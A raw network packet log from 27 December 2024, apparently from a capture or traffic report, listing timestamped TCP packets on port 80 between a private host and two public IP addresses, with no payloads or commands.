Dec 27, 2024 08:45:29.598248005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.598741055 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.598804951 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.598875046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.598915100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.598963976 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.601576090 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.643146038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.643235922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.643336058 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.643486023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.643603086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.643678904 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.644222975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.644340038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.645004034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.645054102 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.645108938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.645168066 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.645653963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.645714998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.646267891 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.646341085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.646441936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.646477938 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.647053957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.647134066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.647188902 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.663898945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.663923025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.664084911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.664166927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.664172888 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.664222002 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.664771080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.664953947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.665483952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.665538073 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.665868044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.665932894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.665980101 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.666606903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.666739941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.667599916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.667654991 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.667674065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.668113947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.668163061 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.668231964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.668950081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.668991089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.668994904 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.669334888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.669380903 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.669414043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.669990063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.670039892 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.670068979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.683114052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.683152914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.683309078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.683377981 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.683423042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.684012890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.684066057 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.684107065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.684741020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.684791088 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.684868097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.685461998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.685504913 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.685559034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.686171055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.686225891 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.686275005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.686887980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.686928988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.686968088 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.713074923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.713121891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.713342905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.713470936 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.713504076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.714238882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.714273930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.714328051 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.714888096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.714968920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.715020895 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.715362072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.715457916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.715507030 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.716059923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.716197014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.716247082 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.716778040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.716875076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.716921091 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.717494965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.717631102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.717674971 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.718247890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.718261003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.718945026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.719011068 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.719073057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.719645977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.719702959 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.719748020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.720335960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.720381021 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.720467091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.721129894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.721177101 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.721245050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.721754074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.721803904 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.729700089 CET	80	49745	185.215.113.206	192.168.2.4
Dec 27, 2024 08:45:29.730321884 CET	49745	80	192.168.2.4	185.215.113.206
Dec 27, 2024 08:45:29.732469082 CET	49745	80	192.168.2.4	185.215.113.206
Dec 27, 2024 08:45:29.789975882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.790133953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.790287018 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.790318966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.790548086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.791022062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.791110039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.791152000 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.791183949 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.791827917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.791961908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.792022943 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.792550087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.792659998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.793138027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.793191910 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.793235064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.793900013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.793942928 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.793973923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.794272900 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.794670105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.794791937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.794831991 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.795280933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.795330048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.795367956 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.796020031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.796180964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.796220064 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.796735048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.796838045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.796875000 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.797424078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.797532082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.798157930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.798203945 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.798260927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.798850060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.798959970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.798995018 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.799556971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.799664021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.799722910 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.800318956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.800405979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.801003933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.801027060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.801067114 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.844677925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.844727039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.844907999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.845020056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.845067024 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.845607042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.845777988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.845829964 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.846373081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.846560001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.847210884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.847224951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.847275972 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.847800970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.848082066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.848134041 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.848537922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.848663092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.848711014 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.852026939 CET	80	49745	185.215.113.206	192.168.2.4
Dec 27, 2024 08:45:29.865204096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.865281105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.865462065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.865545988 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.865573883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.866240025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.866271973 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.866314888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.867001057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.867043972 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.867125034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.867197037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.867237091 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.867476940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.867558956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.867615938 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.868168116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.868280888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.868318081 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.868865013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.868977070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.869013071 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.869580030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.869678974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.869719028 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.870289087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.870470047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.871014118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.871053934 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.871133089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.871684074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.871722937 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.884375095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.884423018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.884546995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.884603977 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.884723902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.885039091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.885075092 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.885442972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.885555983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.885592937 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.886157036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.886262894 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.886274099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.886929989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.886971951 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.887047052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.887598991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.887636900 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.887702942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.888340950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.888385057 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.915211916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.915260077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.915493965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.915553093 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.915616035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.916275024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.916318893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.916336060 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.916932106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.916990995 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.917011976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.917634964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.917702913 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.917763948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.918293953 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.918381929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.918462038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.918519020 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.919039011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.919111013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.919159889 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.919784069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.919871092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.919915915 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.920489073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.920603037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.920650959 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.921171904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.921287060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.921336889 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.921904087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.922008991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.922055006 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.922637939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.922748089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.923441887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.923500061 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.923598051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.924036026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.924087048 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.991514921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.991621017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.991698027 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.991735935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.991803885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.991848946 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.992181063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.992398024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.992518902 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.992882013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.992980003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.993619919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.993685961 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.993710041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.993788004 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.994354963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.994429111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.995043039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.995059013 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.995142937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.995181084 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.995752096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.995836973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.996047974 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.996527910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.996571064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.996865988 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.997160912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.997289896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.997365952 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.997963905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.998116970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.998219013 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.998605013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.998711109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.998965979 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:29.999345064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:29.999418974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.000005960 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.000133991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.000186920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.000231028 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.000850916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.000891924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.001141071 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.001444101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.001566887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.001765966 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.002161980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.002300978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.002587080 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.045979977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.046052933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.046324015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.046413898 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.046432018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.046488047 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.047024012 CET	80	49744	185.215.113.16	192.168.2.4
